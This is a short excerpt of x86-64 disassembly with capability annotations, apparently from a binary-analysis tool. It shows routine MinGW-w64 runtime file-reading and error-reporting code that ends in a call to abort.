call sub.msvcrt.dll_fread
mov rcx, r13
mov rsi, rax
call sub.msvcrt.dll_fclose
mov edx, dword [rbx + 4]
movsxd r8, esi
mov r9d, 0
lea rax, [r12 + r8]
mov ecx, edx
mov rdi, rax
sub ecx, esi
cmp edx, esi
lea rsi, [rbx + r8 + 0x14]
cmovl rcx, r9
lea r8, [rbx + 8]
rep movsb byte [rdi], byte [rsi]
mov rcx, r12
call fcn.140001585
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret

Function at 0x1400019c0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400028a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400028a0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]